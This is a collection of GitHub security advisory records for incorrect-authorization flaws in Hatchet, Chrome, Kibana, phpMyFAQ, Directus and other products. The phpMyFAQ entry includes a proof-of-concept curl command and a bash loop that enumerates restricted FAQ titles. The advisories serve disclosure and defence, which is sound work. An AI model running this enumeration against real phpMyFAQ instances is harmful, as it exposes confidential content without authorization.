{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hatchet-dev/hatchet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.106.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88978"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:46Z",
    "nvd_published_at": "2026-09-21T16:17:26Z",
    "severity": "MODERATE"
  },
  "details": "# Cross-tenant disclosure risk on `DurableTask` bidi RPC\n\nThis is a low-severity, low-risk cross-tenant data exposure vuln caused by blindly accepting a durable task id, in addition to a list of node and branch ids that identify records in that task\u0027s event log, and returning them to the caller via the `handleWorkerStatus` polling path.\n\n# Impact\n\nThis advisory requires an attacker to successfully guess a durable task\u0027s external uuid belonging to another tenant. External ids are generated uuid v4s (`uuid.New()` in Go), so exploitation requires prior knowledge of a target task UUID through an out-of-band channel. Thus, while the following environments are impacted, there is an extremely low probability it would be exploited.\n\n### Who is impacted. Any Hatchet deployment that hosts more than one tenant on the same instance:\n\n* Hatchet Cloud (multi-tenant SaaS)\n* Self-hosted Hatchet with multiple internal teams / business units sharing one instance\n* Any deployment where a single tenant\u0027s API token can be obtained by an attacker\n\nSingle-tenant self-hosted deployments are unaffected in practice (the \"victim\" and \"attacker\" tenants would be the same).",
  "id": "GHSA-992g-9cr3-vm5x",
  "modified": "2026-09-22T20:40:46Z",
  "published": "2026-09-22T20:40:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hatchet-dev/hatchet/security/advisories/GHSA-992g-9cr3-vm5x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88978"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hatchet-dev/hatchet/commit/15bc7923d3a8ebfeb0d88c19160dd24828921e85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hatchet-dev/hatchet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hatchet DurableTask WorkerStatus gRPC resolves caller-supplied durable-task UUIDs via ListSatisfiedEntries with no tenant_id filter"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-79199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T21:18:13Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-994m-hvjj-rv2c",
  "modified": "2026-08-28T21:30:56Z",
  "published": "2026-08-25T21:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79199"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/513719741"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-33460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T17:21:18Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect Authorization (CWE-863) in Kibana can lead to cross-space information disclosure via Privilege Abuse (CAPEC-122). A user with Fleet agent management privileges in one Kibana space can retrieve Fleet Server policy details from other spaces through an internal enrollment endpoint. The endpoint bypasses space-scoped access controls by using an unscoped internal client, returning operational identifiers, policy names, management state, and infrastructure linkage details from spaces the user is not authorized to access.",
  "id": "GHSA-998c-7hf5-g249",
  "modified": "2026-04-08T18:34:07Z",
  "published": "2026-04-08T18:34:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33460"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-19-14-9-2-8-9-3-3-security-update-esa-2026-25/385813"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-54916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-11T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue in the SharedConfig class of Telegram Android APK v.11.7.0 allows a physically proximate attacker to bypass authentication and escalate privileges by manipulating the return value of the checkPasscode method.",
  "id": "GHSA-99fv-v434-wh6f",
  "modified": "2025-02-12T18:31:34Z",
  "published": "2025-02-12T00:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54916"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1knf8-_fFUSLd3ZmbEpy0_OVzSN1UR1JR/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SAHALLL/CVE-2024-54916"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-11844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-29T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is an Incorrect Authorization vulnerability in Micro Focus Service Management Automation (SMA) product affecting version 2018.05 to 2020.02. The vulnerability could be exploited to provide unauthorized access to the Container Deployment Foundation.",
  "id": "GHSA-99j9-w4cp-4529",
  "modified": "2022-05-24T17:18:54Z",
  "published": "2022-05-24T17:18:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11844"
    },
    {
      "type": "WEB",
      "url": "https://softwaresupport.softwaregrp.com/doc/KM03645628"
    },
    {
      "type": "WEB",
      "url": "https://softwaresupport.softwaregrp.com/doc/KM03645629"
    },
    {
      "type": "WEB",
      "url": "https://softwaresupport.softwaregrp.com/doc/KM03645630"
    },
    {
      "type": "WEB",
      "url": "https://softwaresupport.softwaregrp.com/doc/KM03645631"
    },
    {
      "type": "WEB",
      "url": "https://softwaresupport.softwaregrp.com/doc/KM03645636"
    },
    {
      "type": "WEB",
      "url": "https://softwaresupport.softwaregrp.com/doc/KM03645642"
    },
    {
      "type": "WEB",
      "url": "https://support.microfocus.com/kb/doc.php?id=7024637"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-3573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-26T21:17:09Z",
    "severity": "HIGH"
  },
  "details": "Incorrect Authorization vulnerability in Drupal AI (Artificial Intelligence) allows Resource Injection.This issue affects AI (Artificial Intelligence): from 0.0.0 before 1.1.11, from 1.2.0 before 1.2.12.",
  "id": "GHSA-99mr-fjvp-4w9w",
  "modified": "2026-03-30T15:31:52Z",
  "published": "2026-03-26T21:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3573"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2026-028"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-0143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-19T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "When the LDAP connector is started with StartTLS configured, unauthenticated access is granted. This issue affects: all versions of the LDAP connector prior to 1.5.20.9. The LDAP connector is bundled with Identity Management (IDM) and Remote Connector Server (RCS)",
  "id": "GHSA-99pg-5rf4-r9x9",
  "modified": "2022-09-22T00:00:25Z",
  "published": "2022-09-20T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0143"
    },
    {
      "type": "WEB",
      "url": "https://backstage.forgerock.com/downloads/browse/idm/featured/connectors"
    },
    {
      "type": "WEB",
      "url": "https://backstage.forgerock.com/knowledge/kb/article/a11380515"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:45:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe public `/solution_id_{id}.html` route calls `Faq::getIdFromSolutionId()` in `phpmyfaq/src/phpMyFAQ/Faq.php:1312`. That query joins `faqdata` with `faqcategoryrelations` solely by `solution_id` and returns the matching FAQ\u0027s `id`, `lang`, `thema` (title), and `category_id` with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to `/content/\u003ccategory\u003e/\u003cid\u003e/\u003clang\u003e/\u003ctitle-slug\u003e.html`, leaking the FAQ\u0027s existence, internal id, language, category binding, and title via the redirect\u0027s `Location` header and the redirected page\u0027s canonical link, share-to-social URLs, and hidden form fields. The related `getFaqBySolutionId()` at line 1221 contains an explicit fallback query (added \"for tests\") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result.\n\n## Details\n\n### The sink: `getIdFromSolutionId()` has no permission filter\n\n`phpmyfaq/src/phpMyFAQ/Faq.php:1312`:\n\n```php\npublic function getIdFromSolutionId(int $solutionId): array\n{\n    $query = sprintf(\n        \u0027SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id\n         FROM %sfaqdata fd\n         LEFT JOIN %sfaqcategoryrelations fcr\n           ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang\n         WHERE fd.solution_id = %d\u0027,\n        Database::getTablePrefix(),\n        Database::getTablePrefix(),\n        $solutionId,\n    );\n    // ...\n}\n```\n\nNo `WHERE`-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at `phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172` uses this result to compute a slugified URL and 301-redirects to it:\n\n```php\n#[Route(path: \u0027/solution_id_{solutionId}.html\u0027, name: \u0027public.faq.solution\u0027, methods: [\u0027GET\u0027])]\npublic function solution(Request $request): Response\n{\n    $solutionId = Filter::filterVar($request-\u003eattributes-\u003eget(\u0027solutionId\u0027), FILTER_VALIDATE_INT, 0);\n    // ...\n    $faqData = $this-\u003efaq-\u003egetIdFromSolutionId($solutionId);\n    if ($faqData === []) {\n        return new Response(\u0027\u0027, Response::HTTP_NOT_FOUND);\n    }\n    $slug = TitleSlugifier::slug($faqData[\u0027question\u0027]);\n    $url = sprintf(\u0027/content/%d/%d/%s/%s.html\u0027,\n        $faqData[\u0027category_id\u0027], $faqData[\u0027id\u0027], $faqData[\u0027lang\u0027], $slug);\n    return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY);\n}\n```\n\nThe redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical `/content/\u003c...\u003e.html` page may deny rendering the body.\n\n### Related sink: `getFaqBySolutionId()` explicitly falls back without the filter\n\n`phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265`:\n\n```php\nif (false === $row || null === $row) {\n    // Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests)\n    $fallbackQuery = sprintf(\n        \u0027SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1\u0027,\n        Database::getTablePrefix(),\n        $solutionId,\n    );\n    $fallbackResult = $this-\u003econfiguration-\u003egetDb()-\u003equery($fallbackQuery);\n    $row = $this-\u003econfiguration-\u003egetDb()-\u003efetchObject($fallbackResult);\n}\n```\n\nThe inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of `faqRecord`, including `content`, `keywords`, `author`, `email`, and `notes`. Downstream consumers that expect `faqRecord` to respect ACLs no longer do.\n\n### Entry enumeration\n\nSolution IDs are monotonically increasing integers (`faqdata.solution_id`). An attacker enumerates `/solution_id_\u003cn\u003e.html` from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users.\n\n## Proof of Concept\n\nPrerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via `faqdata_user` / `faqdata_group`. Note its `solution_id`, which is assigned sequentially starting from a six-digit base.\n\nStep 1. Anonymous GET of the solution URL:\n\n```bash\ncurl -sS -L -o /tmp/out.html -w \u0027HTTP %{http_code}\\n\u0027 \\\n  \u0027http://\u003chost\u003e/solution_id_\u003crestricted-solution-id\u003e.html\u0027\n```\n\nStep 2. Observe the 301 redirect that `getIdFromSolutionId()` returns. The `Location` header carries the slugified title of the restricted FAQ directly in the URL path:\n\n```\nHTTP/1.1 301 Moved Permanently\nLocation: /content/\u003ccategory-id\u003e/\u003crecord-id\u003e/\u003clang\u003e/\u003ctitle-slug\u003e.html\n```\n\nStep 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check:\n\n```html\n\u003clink rel=\"canonical\" href=\"http://\u003chost\u003e/content/\u003ccategory-id\u003e/\u003crecord-id\u003e/\u003clang\u003e/\u003ctitle-slug\u003e.html\"\u003e\n\u003cinput type=\"hidden\" name=\"voting-id\" value=\"\u003crecord-id\u003e\"\u003e\n\u003ca href=\"http://\u003chost\u003e/pdf/\u003ccategory-id\u003e/\u003crecord-id\u003e/\u003clang\u003e\"\u003e...\u003c/a\u003e\n```\n\nStep 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide:\n\n```bash\nfor id in $(seq 1 100000); do\n  code=$(curl -sS -o /dev/null -w \u0027%{http_code}\u0027 \"http://\u003chost\u003e/solution_id_${id}.html\")\n  if [ \"$code\" = \"301\" ]; then\n    loc=$(curl -sSI \"http://\u003chost\u003e/solution_id_${id}.html\" | awk -F\u0027: \u0027 \u0027/^Location:/{print $2}\u0027 | tr -d \u0027\\r\u0027)\n    echo \"solution_id=${id} -\u003e ${loc}\"\n  fi\ndone\n```\n\nEach `301` response\u0027s `Location` header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide.\n\n## Impact\n\nAny unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example `q3-layoff-plan`, `aws-root-key-rotation`), so the title alone can be sensitive.\n\nThe body content is usually still served through a separate permission-enforcing path on the canonical `/content/\u003c...\u003e.html` URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about.\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (Medium, 5.3). CWE-863.\n\n## Recommended Fix\n\nAdd a permission filter to `getIdFromSolutionId()` the same way `getFaqBySolutionId()` builds one for its primary query (using `QueryHelper::queryPermission()`):\n\n```php\npublic function getIdFromSolutionId(int $solutionId): array\n{\n    $queryHelper = new QueryHelper($this-\u003euser, $this-\u003egroups);\n    $query = sprintf(\n        \u0027SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id\n         FROM %sfaqdata fd\n         LEFT JOIN %sfaqcategoryrelations fcr\n           ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang\n         LEFT JOIN (\n             SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id \u003c\u003e -1\n             UNION ALL\n             SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d\n         ) AS fdg ON fd.id = fdg.record_id\n         LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id\n         WHERE fd.solution_id = %d %s\u0027,\n        Database::getTablePrefix(),\n        Database::getTablePrefix(),\n        Database::getTablePrefix(),\n        Database::getTablePrefix(),\n        $solutionId,\n        Database::getTablePrefix(),\n        $solutionId,\n        $queryHelper-\u003equeryPermission($this-\u003egroupSupport),\n    );\n    // ...\n}\n```\n\nSeparately, remove the unconditional fallback in `getFaqBySolutionId()` at `Faq.php:1256-1265`. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave `faqRecord` empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-99qv-g4x9-mgc3",
  "modified": "2026-06-09T00:00:00Z",
  "published": "2026-05-06T20:45:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-99qv-g4x9-mgc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46366"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/phpmyfaq-unauthenticated-information-disclosure-via-getidfromsolutionid-permission-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has unauthenticated FAQ permission bypass via getFaqBySolutionId fallback query"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "directus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@directus/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "22.0.0"
            },
            {
              "fixed": "23.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-19T17:46:27Z",
    "nvd_published_at": "2025-02-19T17:15:15Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nIf there are two overlapping policies for the `update` action that allow access to different fields, instead of correctly checking access permissions against the item they apply for the user is allowed to update the superset of fields allowed by any of the policies. \n\nE.g. have one policy allowing update access to `field_a` if the `id == 1` and one policy allowing update access to `field_b` if the `id == 2`. The user with both these policies is allowed to update both `field_a` and `field_b` for the items with ids `1` and `2`. \n\n### Details\nBefore v11, if a user was allowed to update an item they were allowed to update the fields that the single permission, that applied to that item, listed. With overlapping permissions this isn\u0027t as clear cut anymore and the union of fields might not be the fields the user is allowed to update for that specific item.\n\nThe solution that this PR introduces is to evaluate the permissions for each field that the user tries to update in the validateItemAccess DB query, instead of only verifying access to the item as a whole. This is done by, instead of returning the actual field value, returning a flag that indicates if the user has access to that field. This uses the same case/when mechanism that is used for stripping out non permitted field that is at the core of the permissions engine.\n\nAs a result, for every item that the access is validated for, the expected result is an item that has either 1 or null for all the \"requested\" fields instead of any of the actual field values. These results are not useful for anything other than verifying the field level access permissions.\n\nThe final check in validateItemAccess can either fail if the number of items does not match the number of items the access is checked for (ie. the user does not have access to the item at all) or if not all of the passed in fields have access permissions for any of the returned items.\n\n### Impact\nThis is a vulnerability that allows update access to unintended fields, potentially impacting the password field for user accounts.",
  "id": "GHSA-99vm-5v2h-h6r6",
  "modified": "2025-02-19T19:59:54Z",
  "published": "2025-02-19T17:46:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/security/advisories/GHSA-99vm-5v2h-h6r6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27089"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/commit/a7ea67783b060d0d6fc964d71c2d4575d5eee4e2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/directus/directus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/releases/tag/v11.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directus allows updates to non-allowed fields due to overlapping policies"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-29883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-21T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Standards Processing Engine (IBM Transformation Extender Advanced 9.0 and 10.0) does not set the secure attribute on authorization tokens or session cookies. Attackers may be able to get the cookie values by sending a http:// link to a user or by planting this link in a site the user goes to. The cookie will be sent to the insecure link and the attacker can then obtain the cookie value by snooping the traffic. IBM X-Force ID: 207090.",
  "id": "GHSA-9c2c-p776-g29v",
  "modified": "2022-07-13T00:01:18Z",
  "published": "2022-05-24T19:18:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29883"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/207090"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6507077"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}